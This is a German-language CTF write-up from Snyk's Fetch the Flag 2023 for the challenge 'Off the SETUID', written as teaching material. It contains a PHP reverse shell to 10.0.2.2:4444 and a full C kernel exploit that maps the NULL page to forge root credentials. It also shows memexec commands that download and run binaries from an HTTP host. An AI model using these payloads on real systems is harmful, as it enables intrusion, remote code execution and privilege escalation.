Skip to main content

Snyk Fetch the Flag CTF 2023: Write-up zu „Off the SETUID“

Artikel von
Headshot of Carlos Polop

Carlos Polop

Headshot of Yago Gutiérrez

Yago Gutiérrez

snyk ctf off the setuid

30. November 2023

0 Min. Lesezeit

Danke, dass Sie mit uns Fetch gespielt haben! Glückwunsch an die Tausenden von Spielerinnen und Spielern, die bei Fetch the Flag CTF dabei waren. Wenn Sie bei Snyks Fetch the Flag 2023 dabei waren und nach der Lösung für die Challenge Off the SETUID suchen, sind Sie hier genau richtig. Gehen wir die Lösung gemeinsam durch!

Sie finden sich in einer unbekannten Umgebung wieder. Können Sie mit den vorhandenen Mitteln auskommen? Oder können Sie einfach …

Holen Sie die Flag aus dem Home-Verzeichnis des Root-Benutzers.

Das ist eine seltsame Challenge. Ist es eine Web-Challenge oder eine Kernel-Pwn-Challenge?

Wir haben ein QEMU-Skript, einen kompilierten Kernel (mit dem dazugehörigen .diff) und ein initramfs-Image (samt Code für das Init-Programm). Als Erstes können wir einfach das initramfs entpacken und einen Blick hineinwerfen.

Distribution oder keine Distribution?

$ zstdcat -d - < ../initramfs.img | cpio -i
172272 bloques
$ ls -l
total 48
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 bin -> usr/bin/
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 dev
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 etc
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 home
-rwxr-xr-x 1 arget arget 16264 oct 30 22:00 init
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 lib64 -> /usr/lib
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 proc
drwx------ 2 arget arget  4096 oct 30 22:00 root
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 sys
drwxr-xr-x 4 arget arget  4096 oct 30 22:00 usr
drwxr-xr-x 3 arget arget  4096 oct 30 22:00 var
$ ls usr/bin/
php
$ ls -l root/flag.txt 
-r-------- 1 arget arget 25 oct 30 22:00 root/flag.txt

Alles klar, keine Distribution. Keine Shell, keine gängigen Tools, rein gar nichts. Das Init-Programm ist natürlich kompiliert (es gibt keine Shell, also kann es kein Skript sein), aber wir haben auch den Quellcode:

// [Definition of add_dev_addr() and default_gw()]
int main()
{
	mknod("/dev/null" , 0666 | S_IFCHR, makedev(1, 3));
	mknod("/dev/ttyS0", 0660 | S_IFCHR, makedev(4, 64));

	mount("proc", "/proc", "proc" , MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount("sysfs", "/sys", "sysfs", MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount(NULL, "/", NULL, MS_REMOUNT | MS_RDONLY, NULL);

	int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
	add_dev_addr(fd, "10.0.2.15", "255.255.255.0");
	default_gw(fd, inet_addr("10.0.2.2"));
	close(fd);

	if (!fork())
	{
		setresuid(100, 100, 100);
		chdir("/var/run");
		execl("/usr/bin/php", "php", "-S", "0:8080", NULL);
		err(1, "Something failed");
	}
	wait(NULL);

	reboot(RB_POWER_OFF);
}

Es erledigt die üblichen Aufgaben eines Init-Skripts: Es initialisiert einige Geräte, bindet procfs und sysfs ein (mit noexec), bindet rootfs erneut schreibgeschützt ein und initialisiert das Netzwerk. Anschließend startet es einen HTTP-Server, der auf Port 8080 lauscht und dessen Stammverzeichnis /var/run ist. Der Server läuft als Benutzer mit uid=100.

In /var/run befindet sich nur eine index.php:

// [CSS stuff]
<h2>Super Secure PHP Code Evaluator</h2>
<div class="container">
    <form method="post">
        <input type="text" name="code" placeholder="Enter code" required>
        <br>
        <button type="submit">Eval Code</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $code = $_POST['code'];
        eval($code);
    }
    ?>
</div>
<br><br><br>
<a href="?debug">Show Source Code</a>

<?php
if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

Kurz gesagt: Wir haben einen HTTP-Server, der eindeutig anfällig für PHP-Code-Injection ist. Mit etwas wie dem Folgenden können wir also eine interaktive PHP-Reverse-Shell öffnen:

$s = fsockopen("10.0.2.2", 4444);
proc_open(['php', '-a'], array(0 => $s, 1 => $s, 2 => $s), $p);

Die Flag können wir aber nicht lesen, da sie nur für Root lesbar ist. Wir müssen also einen Weg finden, unsere Berechtigungen zu erhöhen. Hier kommt fun_setuid.diff ins Spiel.

fun_setuid()

In der .diff-Datei sehen wir, dass dem Kernel ein neuer syscall hinzugefügt wurde:

struct cred* prepare_user_creds(kuid_t kuid)
{
	struct cred* new;
	long retval;
	if (!uid_valid(kuid))
		return NULL;

	new = prepare_creds();
	if (!new)
		return (struct cred*) -ENOMEM;

	new->uid   = kuid;
	retval = set_user(new);
	if (retval < 0)
		goto error;
	new->euid  = kuid;
	new->suid  = kuid;
	new->fsuid = kuid;

	retval = security_task_fix_setuid(new, current_cred(), LSM_SETID_RES);
	if (retval < 0)
		goto error;

	retval = set_cred_ucounts(new);
	if (retval < 0)
		goto error;

	flag_nproc_exceeded(new);
	return new;

error:
	abort_creds(new);
	return (struct cred*) retval;
}

long __sys_fun_setuid(uid_t uid)
{
	const struct cred* old;
	struct cred* new;
	kuid_t kuid = make_kuid(current_user_ns(), uid);

	old = current_cred();

	if (uid_lt(kuid, old->uid) &&
	    !ns_capable_setid(old->user_ns, CAP_SETUID))
		return -EPERM;

	new = prepare_user_creds(kuid);
	if (new < 0)
		return (long) new;

	return commit_creds(new);
}

SYSCALL_DEFINE1(fun_setuid, uid_t, uid)
{
	return __sys_fun_setuid(uid);
}

Kurz gesagt: Dieser syscall ermöglicht einem Prozess, seine uid zu einer anderen zu ändern, sofern diese größer als die aktuelle ist (oder der Prozess über die Capability CAP_SETUID verfügt).

Der syscall verwendet eine Hilfsfunktion namens prepare_user_creds(), die wiederum prepare_cred() nutzt, um eine neue struct cred zuzuweisen. Anschließend ändert sie diese so, dass sie dem neuen Benutzer entspricht, und gibt sie zurück. Tritt ein Fehler auf, gibt sie den negativen Wert eines Fehlercodes zurück. Deshalb prüft die syscall-Funktion vor dem Übernehmen der Anmeldedaten, ob der zurückgegebene Wert nicht negativ ist (siehe Designhinweis unten). Außerdem prüft sie, ob die angeforderte uid ungültig ist (also gleich -1). In diesem Fall gibt sie NULL zurück.

Designhinweis

Dieses Design hat außerdem zwei schwerwiegende Probleme:

  • Einen Adresswert in C mit null zu vergleichen, funktioniert nicht. Einfach nicht. Adressen werden wie vorzeichenlose Werte behandelt. Daher ergibt es keinen Sinn, zu prüfen, ob eine Adresse negativ ist, und der Compiler entfernt die if-Abfrage vollständig.

  • Selbst wenn der Compiler die Abfrage nicht entfernen würde, wäre der Code dennoch fehlerhaft: Unter Linux auf x86 sind Kernel-Adressen immer negativ. Selbst wenn prep_user_creds() keine Probleme findet, würde der zurückgegebene Zeiger struct cred* als negativ interpretiert und nicht übernommen.

Credentialism

Das Problem: Die syscall-Funktion prüft diese letzte Möglichkeit nicht. Deshalb kann sie einen NULL-Zeiger als Zeiger auf unsere Anmeldedatenstruktur übernehmen. Nachdem wir das initramfs angepasst und ein busybox, hinzugefügt haben, können wir sysctl vm.mmap_min_addr ausführen, um die niedrigste Adresse zu ermitteln, die ein Prozess auf diesem System mappen kann. Für weiteres Debugging steht uns außerdem /proc/config.gz zur Verfügung.

Wir sehen, dass mmap_min_addr=0 gilt und das VM in der Datei run.sh kein SMAP aktiviert hat … hervorragend! Wir können die NULL-Adresse mappen, dort eine Anmeldedatenstruktur für Root ablegen und fun_setuid(-1) aufrufen, sodass unser Anmeldedatenzeiger auf NULL zeigt, also auf unsere gefälschten Anmeldedaten.

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define __NR_fun_setuid 452
long fun_setuid(uid_t uid)
{
	return syscall(__NR_fun_setuid, uid);
}

struct cred
{
	int		usage;
	unsigned	uid;
	unsigned	gid;
	unsigned	suid;
	unsigned	sgid;
	unsigned	euid;
	unsigned	egid;
	unsigned	fsuid;
	unsigned	fsgid;
	unsigned	securebits;
	unsigned long	cap_inheritable;
	unsigned long	cap_permitted;
	unsigned long	cap_effective;
	unsigned long	cap_bset;
	unsigned long	cap_ambient;
	// ... pointers to stuff I don't care about
};

int main(int argc, char** argv)
{
	char buf[100];
	int fd;
	struct cred* cred = NULL;

	void* map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (map == MAP_FAILED)
		err(1, "mmap()");

	*cred = (struct cred) { 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };

	printf("uid = %u\n", getuid());
	fun_setuid(-1);
	printf("uid = %u\n", getuid());

	fd = open("/root/flag.txt", O_RDONLY);
	write(0, buf, read(fd, buf, sizeof buf));
	close(fd);

	pause(); // If you don't look it isn't there :P
	return 0;

Die Capabilities müssen wir nicht unbedingt ändern, aber wenn wir schon dabei sind, können wir das für zusätzliche Punkte tun. Wichtig ist jedoch, cred->usage=1 zu setzen (dieser Wert funktioniert wie ein Referenzzähler). Andernfalls hält der Kernel den Vorgang für einen UAF-Bug: (BUG_ON(atomic_read(&new->usage) < 1)).

Außerdem darf dieser Prozess nicht enden, da der Kernel sonst versucht, diese Struktur freizugeben, was problematisch wäre. Deshalb können wir keine Shell starten (ein Aufruf von execve() führt letztlich zum Ende des aktuellen Prozesses). Darum steht am Ende pause().

Es gibt aber noch ein Problem: Wir können den Exploit nirgendwo hochladen, um ihn auszuführen. Wir können ihn in Shellcode umwandeln und mit PHP-Code in die procfs-Speicherdatei des PHP-Prozesses schreiben, um beliebige native Codeausführung zu erreichen. Von dort aus können wir mmap() auf NULL anwenden, gefälschte Anmeldedaten ablegen und fun_setuid(-1) aufrufen, da sich all das nicht mit einem PHP-Skript erledigen lässt …

Aber das wäre nicht cool genug.

Memexec

Vor einigen Monaten haben wir auf der DEFCON 31 einen Vortrag gehalten, in dem es darum ging, unter bestimmten Umständen Umgebungen ohne Distribution zu umgehen. Dafür habe ich (Yago Gutiérrez) ein Tool namens memexec entwickelt. Damit können Sie beliebige Programme direkt aus PHP heraus ausführen, ohne sie auf einer Datei abzulegen.

Fügen Sie einfach diese interaktive PHP-Sitzung ein. Von nun an steht Ihnen eine Funktion memexec() zur Verfügung, die zwei Argumente entgegennimmt: eine URI zu einer Binärdatei und ein Array mit Argumenten für das Programm. Wir können zum Beispiel einen HTTP-Server mit einem busybox einrichten und Befehle auf dem System ausführen:

php > memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
total 16
drwxr-xr-x   10 root     root           260 Oct 24 22:42 .
drwxr-xr-x   10 root     root           260 Oct 24 22:42 ..
lrwxrwxrwx    1 root     root             8 Oct 24 22:31 bin -> usr/bin/
drwxr-xr-x    2 root     root           100 Oct 31 10:39 dev
drwxr-xr-x    2 root     root           120 Oct 24 22:53 etc
drwxr-xr-x    2 root     root            40 Oct 24 18:25 home
-rwxr-xr-x    1 root     root         16264 Oct 24 22:42 init
lrwxrwxrwx    1 root     root             8 Oct 24 18:25 lib64 -> /usr/lib
dr-xr-xr-x  102 root     root             0 Oct 31 10:39 proc
drwx------    2 root     root            60 Oct 24 18:25 root
dr-xr-xr-x   12 root     root             0 Oct 31 10:39 sys
drwxr-xr-x    4 root     root            80 Oct 24 18:25 usr
drwxr-xr-x    3 root     root            60 Oct 24 18:25 var
php > memexec("http://10.0.2.2:8888/busybox", ["mount"]);
memexec("http://10.0.2.2:8888/busybox", ["mount"]);
rootfs on / type rootfs (ro,size=94428k,nr_inodes=23607)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
php > 

Wichtig: In der VM sind keine SSL-Bibliotheken vorhanden. Verwenden Sie daher kein HTTPS.

Alles klar, knacken wir diesen Kernel ein für alle Mal.

php > memexec("http://10.0.2.2:8888/x", []);
memexec("http://10.0.2.2:8888/x", []);
the flag will be here...

Danke, dass Sie Fetch möglich gemacht haben!

Ein großes Dankeschön an alle Teams bei Fetch the Flag 2023! Es war großartig, Sie alle dort zu sehen. Sie finden uns jederzeit unter @Arget (@arget13 auf GH) und @carlospolop (@carlospop ebenfalls auf GH).

Hier finden Sie die Write-ups zu den anderen Challenges von 2023. Viel Spaß beim Lesen!

Gepostet in: